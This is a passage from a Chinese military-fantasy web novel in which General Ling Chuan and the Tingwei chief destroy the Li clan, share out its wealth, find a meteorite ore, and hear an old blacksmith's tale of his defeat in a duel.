“哼!”被两名廷尉死死摁跪在地的老二李白箫,猛地抬起头,眼中闪烁着困兽犹斗的疯狂,嘶声吼道:“你们以为这就赢了吗?天真!这庄园内外,尚有我李家千余私军!你们插翅难飞!” 宴航闻言,嘴角勾起一抹嘲讽的弧度,踱步至李白箫面前,居高临下地看着他:“李二爷,死到临头,还在做这等春秋大梦?” 他声音不大,却字字诛心: “若不曾将你那些埋伏在箭楼、廊道、暗处的爪牙先行拔除干净,你以为,我等能如此闲庭信步地走进这正堂核心?” 李白箫身体猛地一颤,尽管心中已有猜测,但亲耳听到这残酷的真相,那最后一点侥幸也被彻底碾碎,脸色灰败如土。 “不!还有机会!”老三李朱炙如同抓住最后一根稻草,歇斯底里地尖叫起来:“云中县!东源县!两营兵马已在路上!他们顷刻便至!大不了……鱼死网破!玉石俱焚!” “噗嗤……”一旁的苍蝇实在没忍住,嗤笑出声。 他蹲下身,用刀鞘拍了拍李朱炙因激动而扭曲的脸颊,语气充满了戏谑与怜悯: “李三爷,这梦,该醒了!” “你能想到从这两县调兵,我家将军,难道就想不到?” 这轻飘飘的一句话,如同最后的丧钟,轰然敲响在每一个李家幸存者的心头!最后一丝希望之光,彻底湮灭! 这一次,李家为了对付凌川,可谓倾尽全力。 在得知凌川的百人精锐昨夜进驻蕲春大营后,便知蕲春军力已不可用。于是火速密令云中、东源两县军营中早已被李家收买的军官,率本部兵马,火速驰援! 他们算盘打得精妙,若能不战屈人自然最好;若事态失控,待凌川授首,这两支手上沾了朝廷命官鲜血的军队,便再无退路,只能死心塌地绑上李家的战车! 然而,他们万没想到,凌川的动作更快、更狠! 昨夜,他不仅掌控了蕲春军营,更以云州副将身份,连夜发出紧急军令,直达云中、东源两营校尉手中! 军令内容言简意赅,着令尔等,凡有未得本将手令而擅自调兵离营者,无论官职高低,一律视同谋反。 就地处决,无需奏报! 凌川早已从情报中确知,这两营的掌兵校尉,虽受李家势力掣肘,却并未被彻底收买!军令一到,校尉们当机立断。 李家安插的军官,连营门都未能踏出半步,便被当场拿下,军法从事,人头落地! 至于庄园内那一千私军?纵然占据地利,在身经百战的边军精锐斥候与廷尉府网罗的江湖高手面前,不过是土鸡瓦狗! 百名斥候如同暗夜幽灵,悄无声息地拔除了箭楼、暗哨等所有制高点。 随后打开大门,引廷尉府近百名高手如虎入羊群,蜂拥而入。 匣子弩的机括声成了李家私军的催命符,照面即死者不计其数。 第248章 僭越与忌讳! 阎鹤诏的亲自到场,确在凌川意料之外。宴航虽第一时间上报,但仅凭凌川一封信,还不足以请动这位‘活阎罗’。 真正促使阎鹤诏亲临的,是陆含章老将军的亲自登门拜访!老将军洞悉凌川‘敲山震虎’、为后续整饬北境铺路的深意,既然要造势,那便让这惊雷响彻云霄! 让所有门阀都看到朝廷的决心,阎鹤诏亲至,便是这决心最有力的注脚! 此刻,这座曾象征着李家无上权势的庄园,已彻底被肃清掌控。 李家所有核心成员,如同待宰的羔羊,被摁在象征着他们昔日荣耀、此刻却满是血污的正堂之中。 凌川,目光转向阎鹤诏,声音沉稳:“都统大人,李家嫡系数十口皆在此处,依律,当如何处置?” 阎鹤诏冰冷的眼眸如同万载不化的玄冰,缓缓扫过堂下那一张张绝望的脸孔。 空气,仿佛在这一刻凝固。 须臾。 一个冰冷得没有一丝温度的字眼,从他口中吐出: “杀。” “嗤!嗤!嗤……” 命令出口的刹那,数十柄螭玄长刀同时划过李家嫡系的脖子。 利刃割裂皮肉的细微声响连成一片,没有丝毫犹豫,更没有半分怜悯! 顷刻间! 堂内堂外,再添数十具尚带余温的尸体,殷红的鲜血汩汩流淌,汇入先前战斗留下的血泊。 其中,赫然包括家主李青渊,以及他那三位曾显赫一时的胞弟。 能进入正堂的皆是李家嫡系,李家的累累恶行也绝非一两个人能做到的,这些嫡系成员定然都参与其中,就算不加审问便全部格杀,也冤枉不了一个。 就算其中有罪不至死的,他们享受了家族用民脂民膏换来的蒙阴护佑,现在替李家挨这一刀,也是理所当然。 随即阎鹤诏对宴航说道:“李家余众逐一严审,涉命者斩。余者,论罪定刑,押送节度府发配死字营!” “府中仆役、杂工,同样要仔细甄别,确系无辜雇工,可放其离开,若参与作恶,押回节度府!” 随即,他那仿佛能穿透灵魂的目光,越过凌川,直接落在沈珏与聂星寒身上: “浪里刀传人,聂氏遗脉……两位可有兴趣来廷尉府做事?” 凌川在一旁听得眼角微跳,心中愕然:‘这阎王挖人,都如此……理直气壮么?当我不存在?’ 沈珏虽对这位“活阎罗”心存深深的忌惮,但仍抱拳躬身,言辞清晰而坚定:“谢都统抬爱。卑职愚钝,恐难当廷尉重任。” 聂星寒的回答则更为直接,甚至没有多余的礼节,只淡淡吐出三字: “没兴趣!” 阎鹤诏目光在沈珏与聂星寒身上略作停留,闪过一丝极淡的、几乎难以察觉的意外。 他并未多言,转而看向凌川,声音依旧平稳冷硬:“凌将军,借一步说话!” 放眼大周,绝大多数官员听到这句话,无不胆战心惊、脊背生寒。 正所谓人的名树的影,无论是朝堂还是军中,没几个人可以在面对他的时候,保持气定神闲。 凌川眼神之中并无怯意,做了一个请的手势:“大人请!” 两人一前一后,踏出那片血腥弥漫的修罗场。步入一条幽静的回廊。凌川,恪守尊卑,自然地落后阎鹤诏半步。 廊下风过,带来一丝清凉,却吹不散那无形的凝重。 阎鹤诏并未回头,冷硬的声音如同廊柱投下的阴影,沉沉压来: “你动了李家,断己退路……往后将艰难重重、凶险莫测,你,可想清了?” 凌川步履未停,声音不高,却字字清晰,带着一种棋盘落子般的笃定: “此局,心中已推演万千,虽险象环生,却暗存一线生机!” 阎鹤诏微微颔首,仿佛只是确认一个已知的事实。他脚步略缓,抛出一个更沉重的问题: “那你可曾想过,若败便是粉身碎骨、万劫不复?” 凌川侧首,望向廊外被高墙切割的天空,嘴角竟勾起一抹近乎洒脱的弧度: “总需有人去做!成,幸甚;败……”他收回目光,直视前方阎鹤诏挺拔冷硬的背影,“亦为后人,燃一盏灯,照一段路。无憾矣!” 语气风轻云淡,却透着一股不容置疑的决绝。 “嗯?” 阎鹤诏的脚步,骤然停下! 他倏然转身,那双眸子如同两道实质的寒芒,瞬间锁定了凌川。无形的压力,如同冰封的潮水,瞬间将凌川笼罩。 廊中空气,仿佛凝固。 阎鹤诏凝视着凌川年轻却异常坚定的脸庞,良久,方才缓缓开口,声音低沉,带着一种前所未有的审视: “凌川……”他顿了顿,仿佛在斟酌词句,“你与我见过的所有人,都不同!” 凌川心头微凛,面上却依旧沉静,迎着那仿佛能剥开灵魂的目光:“敢问大人,所指为何?” 阎鹤诏并未立刻回答。 他移开目光,重新转身,负手前行,脚步声在寂静的回廊中格外清晰。 他的声音,如同从冰层下传来,清晰、缓慢,却字字如刀: “少年将军,文武兼备;自掏腰包,铸甲砺兵;剑指门阀,还地于民……”他每说一句,凌川的心便下沉一分。 “这样的人……”阎鹤诏脚步不停,声音陡然转冷,带着穿透骨髓的寒意,“往往最是危险。因其心中所求……” 他刻意停顿,仿佛在让那无形的压力发酵,“大得……超乎想象!” “轰!” 这番话,如同惊雷,在凌川脑海中炸响! 他自以为坦荡无私、问心无愧,所做一切,皆为国为民,无涉私欲! 然而,阎鹤诏这赤裸裸的‘野心’指控,却像一根冰冷的针,精准地刺破了他信念的屏障。 一股寒意,瞬间从尾椎骨窜上天灵盖,他浑身神经瞬间绷紧,仿佛遭遇了致命的威胁! 他从未如此清晰地意识到,自己那超越常理的勇猛精进,那撼动百年根基的雷霆手段,那近乎孤注一掷的布局…… 在更高层面的人眼中,本身就是最大的‘僭越’与‘忌讳’。 其动机,足以刺痛某些根深蒂固的规则,其锋芒,足以让神都那位心生忌惮! 第249章 野心,并非原罪! 死寂,在回廊中蔓延,只有两人节奏不同的脚步声在回荡。 凌川强迫自己深呼吸,压下那翻腾的心绪和本能的戒备。 他知道,此刻任何辩解或反驳都是徒劳的,甚至可能坐实阎鹤诏的猜疑。 就在那无形的压力几乎要将空气凝固之时,阎鹤诏却再次停下了脚步。 他并未回头,只是望着廊外庭院中,一株在寒风中依旧挺立的苍松。 “野心,并非原罪!”他忽然开口,声音竟奇异地缓和了几分,那刺骨的寒意似乎收敛了一些。 凌川微微一怔。 “这盘棋局……”阎鹤诏继续说道,语气恢复了惯常的冷硬,却多了一丝难以言喻的复杂。 “北境的门阀都在看着,卢恽筹在看着,廷尉府,也在看着……甚至,”他微微侧首,眼角的余光扫过凌川,“远在神都的陛下,也在看着!” “你要走的路,注定白骨铺就,你的‘野心’有多大,取决于你能走多远,能扛住多少明枪暗箭!”他转过身,目光重新变得锐利如鹰,直刺凌川心底: “记住你今天说的话,为后人照路!愿你心中之火,真能照亮这北境阴霾……” 阎鹤诏没有说完,但那未尽之意,如同重锤敲在凌川心上。 这并非认可,更像是一种冷酷的审视与……警告下的默许。 这是一种将你放在火上烤,看你能否浴火重生的考验! “你若成功,未必能流芳百世,但若失败,定会遗臭万年!” “好自为之!”留下这最后四个冰冷的字,阎鹤诏不再停留,大步流星地走向回廊深处,玄色官袍融入阴影之中。 凌川独自立于廊下,寒风掠过他滚烫的脸颊。 阎鹤诏的话,如同淬毒的冰棱,刺入骨髓,带来剧痛,却也带来一种异样的清醒。 他知道,从此刻起,他不仅在与北境的世家门阀对抗,而是在与整个天下的世家权贵对抗,更是在与这个世界流传了千年、早已在世人心中根深蒂固的规则对抗。 可以说,他是在以一己之力,对抗这个世界的上层乃至顶层人物对抗,除了世家门阀,还有……皇权! 虽然最终的受益者是底层百姓,但在这个过程中,底层百姓未必会助他,甚至有可能成为他的阻力。 并非百姓愚钝,而是那种规则已经深入所有人的骨子里。 前路,比他想象的更加凶险,却也更加……清晰了! 凌川深深吸了口气,压下心头翻涌的思绪,快步追上那道玄色背影。 阎鹤昭停在回廊雕栏旁,目光沉静地望着荷塘里几尾红鲤追逐浮萍。 听见脚步声近,他并未回头,声音依旧像淬了冰的石子:“有笔买卖,做不做?” 凌川眉梢微挑,带着一丝不易察觉的探究:“都统大人也谈买卖?” “买卖?”阎鹤昭嘴角扯出一个极淡、几乎看不见的弧度,目光仍追着水下的游影,“这世间,谁不在做买卖?卖力气的换口粮,卖良心的换富贵,卖命的……”他顿了顿,声音沉了下去,“……求个山河无恙!” 凌川心头微凛,面上却笑道:“大人想谈什么买卖?” “你那匣子弩……”阎鹤昭终于侧过脸,目光锐利如刀锋刮过凌川,“我要五百把!” 凌川瞬间想起云陵县归途上,宴航索要的那一把,说是都统大人交代。 “那匣子弩制作可不容易,都统大人准备出多少银子一把?”凌川试着问道。 “做买卖,哪有买家开价的道理?” 凌川心思电转,试探着伸出五根手指:“大人觉得……这个数如何?” “成交。”阎鹤昭答得斩钉截铁,毫无波澜。 凌川反倒一愣,准备好的讨价还价卡在喉咙里:“大人,我说的是……五十两一把。”他故意把价码抬得极高,既是试探,也存了待价而沽的心思,毕竟是廷尉府的买卖,交好总归没错。 “可以。”阎鹤昭眼皮都没抬一下,应得依旧干脆。 这下凌川是真的意外了,廷尉府如此豪阔?五十两一把的弩,五百把就是两万五千两雪花银! 他正暗自咋舌,却听阎鹤昭已接着道:“五百把弩,配足五万支弩箭,每弩再搭一个备用弩匣。两个月后,宴航来取。可有难处?” 凌川立刻警醒:“大人,弩箭和备用弩匣,这价可没算在里面……” “要加多少银子,你一会自己去李家库房取就是了!”阎鹤昭随意地挥了下手,语气平淡得像在说捡片落叶。 李家库房? 凌川猛地醒悟过来,差点气笑了。 好个阎王!原来在这儿等着自己,难怪应得那般爽快,敢情是打着空手套白狼的主意!拿李家的银子买他凌川的弩? 就在这时,一股寒意陡然袭来。 阎鹤昭不知何时已转过身,那双深不见底的眸子正静静落在他脸上。 “怎么?”阎鹤昭的声音不高,却带着无形的压力,“凌将军……似乎不太情愿?” 凌川瞬间收敛心神,笑道:“大人说笑了!方才属下是跟您开玩笑呢,廷尉府要用弩,大人只管吩咐一声,回头我亲自派人送到府上!”姿态放得极低,话却说得漂亮。 阎鹤昭深深看了他一眼:“莫觉得吃了亏!按规矩李家抄没,一应钱粮账册、房契地契,皆属赃物,廷尉府当封存押解,悉数上缴国库。” 他话锋一转,语气却微妙地缓了一丝:“稍后本官带人离开,这里便留给你处置。东西如何用,本官不过问。” 他停顿片刻,目光如实质般压在凌川肩上,“只提醒你一句,李家的每一枚铜钱,都浸着云州百姓的血髓,望你把它们用在该用的地方!” 凌川心头一震,立刻挺直脊背,正色道:“大人放心!属下定会让每一文钱都花在刀刃上!” 一个时辰之后,阎鹤诏带着半数以上的廷尉押解李家余众离开,只留下宴航和云州的廷尉在现场善后。 经过审问,大部分李家的下人都被放走,但,还是有二百余李家旁系被带回节度府,等待他们的将会是十死无生的死字营。 第250章 赤络星陨! 李家,这个盘踞云州东部近百年的庞然巨兽,轰然倒塌于一日之间。 凌川一刀劈开了李家的百年辉煌,也让云州东部这片被阴霾笼罩的土地,第一次透进了些许天光。然而,这光亮于整个云州乃至北境而言,不过是在无边黑幕上戳破的一个小小孔洞,仅泄下一缕微芒。 李家虽倒,百废待兴,首当其冲便是土地。 凌川将云岚县的法子交给了方既白,由他主持这最棘手的一环。当然,方既白肩上的担子远不止此,商铺、牧场、当铺、作坊……李家庞大的产业网,尽数待他梳理。 这是杨恪对他的试探,同样也是对他的考验。 此事亦如一面镜子,照出了蕲春、云中、东源三县官吏及驻军将领的积弊,事实上,这也是整个云州乃至北境的缩影。 凌川眼中不揉沙子,文官交由宴航的廷尉府彻查,一旦有染,严惩不贷,空缺则由刺史府另择贤能;军中将领的污浊,则密令朱武去刮骨疗毒。 此外,凌川让人传令到蕲阳山矿区,让张尧担任蕲春县校尉,即刻上任,提点军务。 让张尧接管蕲春县,是凌川之前便计划好的,只不过,当时李家的事情并未解决,凌川也就只是让他先接管矿区。 对于张尧的能力,凌川并不担心,如今虽然李家已经倒台,但是他们苦心经营百年的余毒却不是一时半会能清除干净的,所以,凌川尽可能用自己信任的人。 而且,接管蕲春县的一千多兵力之后,张尧管理两座矿区也更加得心应手。 暮色四合时,江来带着数百部众,驾着长长的车队碾过尘土,抵达了李家庄园。他们的目的直白而直接,那就是搬空这座百年门阀的库藏。 李家虽非簪缨世胄,但百年盘剥积累下的财富,其厚重程度仍远超凌川预计。 整整一夜,李家库房灯火通明,五百人穿梭于库房间,在李家账房的指引下,才勉强点清。仅仅是现银,便堆出五十余万两白花花的刺目光泽。 若将那些黄金、珍玩、珠宝等贵重之物折算进去,其价逾百万两! 凌川与杨恪早有定议,凌川提三成充作军费;两成纳入刺史府库以备赈济;三成用于兴修水利、打制农具,滋养云州根本;最后两成,则散于百姓,稍解这乱世黎庶的燃眉之急。 至于五十多万石粮食,凌川只抽取二十万石充作军粮,刺史府抽取十万石用于赈灾,剩下的二十万石悉数发放给三县百姓。 毕竟他们之中很多人无地可种,且常年依附于李家,如今李家已倒,如果不发放粮食,他们连基本的口粮都没有。 正值此时,江来步履生风地疾步而来,声音因激动而微微发紧:“将军!在库房角落发现了一块磨盘大小的金子!” 凌川闻言,剑眉倏然一凝:“你确定是金子?” “谁见过那么大的金子,只是看它周身金灿灿,而且非常沉重,就怀疑是金子……”江来笑道。 “走,看看去!” 一行人来到李家库房,在角落最深的阴影里,赫然匍匐着一块状若磨盘的巨物,通体呈现出一种沉郁内敛的暗金色调,表面光滑圆润。 江来唤来四名壮硕兵卒,合力之下,才堪堪将这沉重无比的巨石挪至光线稍亮处。 沈珏按捺不住好奇,上前用手中刀柄重重叩击,石头发出沉闷而深远的钝响。 他满脸难以置信的激动,声音都有些变调:“将军,这…这真是金子?” 并非沈珏见识短浅,实在是如此巨大的‘金子’超乎想象,换谁都无法保持平静。 凌川俯身,指尖划过冰冷的石面,凝神细察。 那暗金色的石面并非黄金那般炫目,反而透着一种金属矿石特有的硬朗质感。 更引人注目的是,其周身遍布着无数天然形成的、深浅不一的赤红色纹络,那纹路并非浮于表面,而是如同活物的血管般深深嵌入石体内部,蜿蜒虬结,充满了一种原始而神秘的力量感。 “这不是纯金!”凌川直起身,语气肯定而沉稳,“应是一种极为特殊的矿石!” “莫非是金矿?”苍蝇脱口而出,若真是金矿,那就真发达了。 凌川微微摇头:“不像,金矿并非此等模样,这纹路…甚是奇特。” 苍蝇将面如土色的账房先生拽了过来,问道:“这东西哪来的?” 账房吓得浑身哆嗦,颤声道:“回…回军爷,这是李三爷约莫二十年前收来的,当时也不知是何宝贝,后来…花银子请过高人鉴定,只说是一块极为罕见的陨铁,但太过坚硬,无法锻打,就一直扔在这库底吃灰了…” “陨铁?”凌川剑眉微蹙,眼中精光一闪,对苍蝇说道:“试它一试!” 苍蝇闻言,本能地按住腰间珍若性命的苍生刀,随即目光转向身旁一名士兵,伸手道:“用你的刀!” 士兵连忙解下制式战刀递过来,苍蝇深吸一口气双腿分开,缓缓举起手中战刀,随即腰腹发力猛然劈下! “铛!” 一道金石撞击声,震得众人耳膜生疼,与此同时,一蓬耀眼的火星如迸溅开来。 苍蝇更是满脸震惊、呆滞当场,只见他手中那柄精铁打造的制式战刀,竟已从中脆生生崩断! 前半截刀身‘哐当’一声掉落在地,而再看那暗金色巨石被劈砍之处,仅仅只留下一道淡淡白痕。 现场顿时陷入一片死寂,落针可闻;兵卒们一个个瞪大了眼睛,连呼吸都忘了,脸上写满了惊骇与不可思议。 凌川瞳孔骤然收缩,死死盯着那道几乎微不可察的刀痕,心中凛然! 节度府军械司督造的战刀虽比不上苍生刀,但也是用精铁千锤百炼而成,如今竟被这块天外陨石崩断。 而且,这还仅仅是原石,若经工匠之手锻造成型,其威力简直难以想象! “我滴个亲娘哎……” 苍蝇半晌才回过神来,猛甩被震得发麻的手臂,看了看崩断的刃口,又伸出颤抖的手指,小心翼翼地去触摸石头上那几乎看不见的刀痕。 “是赤络星陨!” 一个低沉的声音传来,只见聂星寒走上前,伸出手指从这块石头上摩擦。 “昔年,我曾于一卷残破的古籍《异星志》中,见过零星记载!”他的声音不高,却清晰地传入每个人耳中。 “说天穹有异星坠,其石色如暗金,隐泛赤芒,其质之坚,逾世间百炼精钢,非神力所能摧折。内蕴天然金赤纹络,似活物血脉奔流不息,周行而不殆……谓之赤络星陨!” 他抬眼看向众人,语气沉凝:“此乃真正天赐之神物,本以为那只是前人荒诞不经的传说,未曾想竟真有其实物!” “江来,搬回去送到军械司交给杨师傅!”凌川对将来说道。 “遵命!”江来点头答应道。 第251章 朱桓,前来领死! 眼下,方既白忙得如陀螺般直转,凌川从江来的人马里拨出一支百人队,命沈珏统领,留下襄助。 宴航亦留下十数名精干廷尉协助,当然也暗含监察之意。 诸事暂定,凌川不再停留,叫上苍蝇与聂星寒,翻身上马,便要折返云州城。 纪天禄的斥候精锐,肩负更隐秘的要务,已于前一日悄然离去。 云州这盘死局,凌川已悍然落下第一子,接下来,便是看那些盘踞各处的门阀豪强,如何接招了。 三骑刚踏出李家那座依旧巍峨却了无生气的大门,便被一人挡住去路。 只见一名汉子直挺挺跪在尘埃中,双手染满暗红,粘稠的血迹已近干涸。凌川目光一凝,一眼认出是蕲春县前任校尉朱桓。 “将军!”朱桓声音嘶哑,头颅重重磕在地上,溅起微尘,“罪人朱桓……前来领死!” 当日在蕲春县衙,他求凌川暂留几日性命,只为亲眼见证李家倾覆。 凌川允了,可李家覆灭后,朱桓却失了踪迹,连凌川也疑他趁乱逃走。 不曾想,他竟真的践约而来。 “手上的血,是谁的?”凌川勒住马缰,居高临下,声音听不出波澜。 “是那贱妇!”朱桓猛地抬头,眼中是噬人的赤红与绝望,“属下亲手了结了她!” “孩子呢?”凌川的声音沉了下去。 “他……本就不该来这世上!”朱桓喉咙里发出野兽般的低吼,“死了……死了也好!” “你杀的?” 朱桓缓缓摇头,沾血的拳头死死攥紧:“那贱人得知李家事败,竟先一步掐死了孩子想逃!被我堵在了门口……” 凌川深吸了一口气,对于这个命运凄惨的憨厚汉子,凌川的内心充满了同情,但,这并不能成为他脱罪的理由。 无论他是出于本心,还是受人指使或胁迫,他终究是做了恶事,若按律量刑,朱桓已经人头落地。 从某种角度来说,朱桓也是受害者之一,也正是因为如此,凌川才动了恻隐之心。 “自己去漠北死字营,能不能活下来,就看你自己的造化!” 如果说,当初在土堡留下郭肃,是为了给后面扳倒章绩留一张底牌的的话,那么现在给朱桓一线生机,则是单纯的出于同情。 朱桓眼眸中闪过一抹诧异,他没想到凌川竟然没杀他,可他不知道的是,如果是他亲手杀了那孩子,凌川必将他就地正法。 “叩谢将军不杀之恩!”朱桓对着凌川重重磕了三个响头。 直到凌川三骑远去,朱桓才起身走向拴在远处的战马,朝漠北大营而去。 马背上,他回望那座巍峨的李家庄园,百感交集。 这座百年庄园见证了李家的崛起与辉煌,也目睹了它的罪恶与覆灭。如今庄园依旧在,却再无一个李家人。 对凌川而言,此行还算顺利,不仅将蕲阳山两处铁矿拿到手,更将李家连根拔起;但他清楚,真正的博弈才刚刚开始。 返回将军府已是下午,亲兵告知,苏璃带翠花去酒坊和纺织坊查看工程了,凌川未作停留,径直前往刺史府。 闻讯赶来的杨恪苦笑道:“本以为将军还要再准备些时日,不想如此雷厉风行。” 凌川淡笑:“时间不等人。既然已经动手,杨大人这边也需加紧准备了。” 杨恪点头:“今日已收到好几封拜帖了!”显然,凌川的敲山震虎已见成效,地方门阀开始坐立不安,这也正是他们想要的结果。 “我已派人盯紧各家世族,相关情报会直接呈送大人。以半月为限,届时将云州境内的门阀望族一举扫清!”凌川手指轻叩桌面。 杨恪目光微凝:“方大人那边是何态度?” “方大人是聪明人,懂得取舍!”凌川笑意不减。 杨恪暗自松了口气,他最大的阻力来自别驾方既白,只要方既白选择站在这边,那推动起来将事半功倍。 凌川起身告辞,临行前似想起什么:“对了大人,记得让人把刺史府库房收拾出来。近两日,李家那边的银钱和粮食就会运到,后续还有不少,大人需早作准备!” 杨恪失笑:“难怪这些豪族如此疯狂,这般暴发户的滋味确实诱人!” 此后数日,凌川深居将军府闭门不出。 他料定此时必有多人求见,与杨恪早有约定,一个唱红脸,一个唱白脸。众人见不到他,自然只能去找杨恪。 杨恪也非来者不拒,此前他已拟好名单,谁可拉拢、谁该分化、谁必打压,皆心中有数。 凌川虽足不出户,却并未闲着,除日常操练外,更潜心研习箭术与刀法。 这日辰时刚过,凌川正在院中练刀,杨铁匠径自寻来。此前凌川有令,杨铁匠与墨巡可自由出入将军府。 见凌川练得专注,杨铁匠也不打扰,默然坐在石阶上观看。 自云岚县得杨铁匠点拨后,凌川刀法精进迅猛。 每招每式皆干净利落,霸道凌厉,招式衔接如行云流水,破绽极少。较之技巧,其气势提升最为显著,一刀在手,竟隐有无可匹敌之威。 就连数丈外的杨铁匠也感受到这股迫人气势,不由得微微颔首。 他虽常出言打压,心下却不得不承认,这小子悟性、心性皆是上佳,若得明师指点,不出数年必成江湖一流高手。 至于能否登顶宗师之境,则要看造化与天命了。 “杨师傅,看了这么久,也不点评两句?”凌川收刀而立,气息平稳,笑着问道。 “马马虎虎!”杨铁匠眼皮都没抬,淡淡回了四个字。 凌川深知他的脾性,听了这话非但不恼,嘴角反而噙着一丝笑意。能让这老铁匠给出这般评价,已属难得。 他走到石阶旁,挨着杨铁匠坐下,用肩膀撞了撞对方,带着点不死心的赖皮劲儿:“我说杨师傅,您老纵横江湖那么些年,就真没一两手压箱底的绝活儿?随便教我两招厉害的呗?” 杨铁匠斜睨了他一眼,没好气道:“老夫早跟你说过八百回了!真功夫哪有什么捷径?都是水滴石穿、苦熬出来的死力气!至于招式?”他嗤笑一声,“那不过是前人用顺手了的习惯,刻板死套,有甚稀奇!” “话不能这么说啊……”凌川依旧不肯放弃,辩驳道,“能流传下来的招式,必定是顶尖高手千锤百炼的精华,总有其独到之处,取其精华,借鉴一下,总没坏处吧?” “你小子……”杨铁匠被他这锲而不舍的劲头弄得没脾气,只是无奈地瞪了他一眼,“咋就这么轴呢!” 第一卷 第252章 大江之陨! “杨师傅,认不认得廷尉府的阎鹤诏?”凌川状似随意实则有心问道。 杨铁匠仍坐在石阶上,眯着眼,像是被阳光晃得有些懒怠。他闻言撩起眼皮瞥了凌川一眼:“怎么,招惹上那尊活阎王了?” “哪能啊!”凌川赶忙摆手,“就前几日在李家见了一面,感觉此人深不可测,他实力究竟如何?” 杨铁匠哼了一声,目光重新投向虚空,淡淡道:“那小子,算是庙堂之上这些年少数能入眼的人物,就算扔进江湖那片浑水里,也是能站稳急流礁石的那一类!” 能得杨铁匠这么一句,那阎鹤诏的分量可想而知。 “他的判官指呢,您老见识过没?”凌川走到台阶前,顺势坐了下来。 杨铁匠略一点头,“名字有些花里胡哨,不过确实有点门道!” 话到此处,凌川话锋一转,问出了盘桓心头已久的疑问:“我说杨师傅,您当年一人一剑,压得半座江湖喘不过气,风光无限。怎的后来就心甘情愿,跑到这北疆苦寒之地,隐姓埋名抡起了铁锤?” 沈珏曾说,这位名震江湖的剑神是因东海之畔那一败,心灰意冷才退隐。 可凌川越接触越觉得,这老铁匠骨头里的硬气根本没折,绝非一蹶不振之人。 杨铁匠扭过头,没好气地瞪他:“大人的事,小屁孩瞎打听什么!” “我都成家立业了,算什么小屁孩!”凌川挺直腰板,随即又换上几分利诱的语气,“您给我透个底,我那儿新得了一块上好的陨铁,回头送你琢磨琢磨?” 杨铁匠对那块天外奇铁的传闻亦有耳音,今日过来本就存了这份心思。 他显然是被凌川这话拿住,笑骂一声:“陈芝麻烂谷子的旧账了……罢了,今日老夫心情不赖,算你撞了大运!” 杨铁匠仰头灌下一口烈酒,喉头滚动,发出一声绵长的叹息。他浑浊的双眼中似有烟云翻涌,沉入了那段被岁月尘封的往事。 “想当年,老夫年少轻狂,对于剑道近乎痴迷,可以说,剑就是我生命的全部,仅凭手中一柄大江,败尽天下用剑之人!”他嗓音沙哑,却透着一股昔日的锋芒。 “江湖上便传开了那么句,‘三尺大江出广陵,半座江湖尽失声’。那是何等的风光,何等的……不知天高地厚。” 他低笑了几声,不知是在追忆那绚烂的过往,还是在讥讽当年那个目空一切的自己。 “那时的杨斗重,自恃剑道无双,视天下武夫如土鸡瓦狗,连与他们同立一片屋檐下都觉得辱没了身份!除了剑,也就只有酒让我觉得,这江湖不那么无趣!”他语气平淡,却字字透着昔日的孤高。 “直到十六年前,在东海白云城,我遭遇了生平第一败,也是最后一败!” “那一战尚未开始,消息便如惊涛骇浪席卷整座江湖,各方强者纷涌而至,只为亲眼见证当世两大绝顶高手倾世一战!我也深知,只要击败白惊霆,我手中‘大江’便将不再只是横压半座江湖……”他眼中猛地迸发出灼热的光彩,仿佛又回到了那个波涛汹涌的东海之滨,“而是让整个天下,无人敢抬头直视其锋!” 凌川屏息静听,未曾打断。他早先也曾向沈珏打听过杨铁匠的江湖传闻,奈何十六年前沈珏才刚出生,关于那场惊天动地的白云城之战,也只是他后来在江湖中摸爬滚打,听得一些零碎片段。 传闻二人于白云城外激斗九十一招。前三十招,‘大江’剑势磅礴,锋芒所向披靡,压得白云城主唯有苦苦招架之功。 中间三十招,白惊霆竟以匪夷所思的手段逐渐扳回劣势,两人手段尽出,杀得难分难解,惊天动地。 后三十招,白惊霆气势陡增,剑势如云涛骤起,杨斗重开始渐落下风。 战至第九十招,杨斗重倾尽全力,施出成名绝技‘大江东去’!刹那间,剑气纵横,如一条浩荡大江自九霄倾泻而下,煌煌剑威似要吞没一切。 就当所有观战者皆以为,杨斗重将凭借此杀招终结这一战之时,白惊霆竟使出一式玄妙无方的‘空自流’,破去了杨斗重的漫天剑芒,为这惊世一战盖棺定论。 无人看清那一剑的轨迹,只知那仿佛能席卷天地的‘大江东去’之威,竟如长鲸吸水般被那看似空无的一招悄然化去,消散于无形。 那把陪伴杨斗重半生的名剑‘大江’,就此折断,横压半座江湖的剑神杨斗重,也自此绝迹江湖。 杨铁匠又猛灌了一口狼血,任由那酒液灼喉,他喃喃低语,似说给凌川,又似说给自己听:“世人都说,我杨斗重的一身傲骨,连同大江一齐断在了白云城外。想必早就心灰意冷,老死在哪处不为人知的角落里了!” 他忽然冷笑一声,那笑声中竟又透出几分昔日的桀骜:“可这天下人,未免也太小觑我杨斗重了!我自踏入江湖第一天起,就明白一个道理:江湖儿郎,终究要还于江湖。我能踩着无数高手的肩膀登上绝顶,自然也该料到,总有一天,也会有后来者踏着我的名声,去往更高处!” “可彼时的我,终究是没有做好失败的心理准备!” 将那酒囊中最后一口“狼血”饮尽,良久,他才再次开口,声音里没了之前的激荡,只余下沉淀后的平静: “剑断了,人输了,名声散了!初时,确如万蚁噬心,觉天地皆暗,无颜置身江湖,甚至想以手中断剑了此残身……” “我携着断剑浑噩前行,不知目的,不问归处。像个孤魂野鬼,只想离那白云城、离那座江湖越远越好。也不知走了多久,忽觉寒风刺骨,才略清醒了些!”他抬手摸了摸脸上深刻的皱纹,“之后,我在狼烽口住了下来,为讨口饭吃便开了个铁匠铺!” “打铁,为谋生计,但也有重铸大江的执念!可打着打着,倒品出些不一样的滋味。”他目光中仿佛有炉火跳动,继续说道。 “那炉中铁坯,百炼方能成钢。千锤百打之下,杂质去尽,只留精纯。这道理我年轻时读剑谱万卷,自以为懂了,实则直到亲手拿起这铁锤,一记一记砸下去,汗滴入火,嗤啦作响时,才算真真切切地……懂了。” 第一卷 第253章 铸造法! 杨铁匠再次朝嘴里灌了一口酒,继续说道:“剑是利器,亦是凡铁,离了人手,便是死物!过去我太执着于剑本身的锋芒,却忘了它从何而来,因何而利!” “这十六年,我锤打的,又何尝不是我自己?将那点虚浮的傲气、不堪一击的声名,连同那断剑的残骸,一并投入这炉火中,反复锻打,去芜存菁。” 他忽然转向凌川,眼神锐利如昔:“世人皆以为杨斗重死了,或许吧,那个只知仗着大江之利、目空一切的杨斗重,确实死在了白云城。但活下来的这个老铁匠,骨头里的东西,还没丢!” 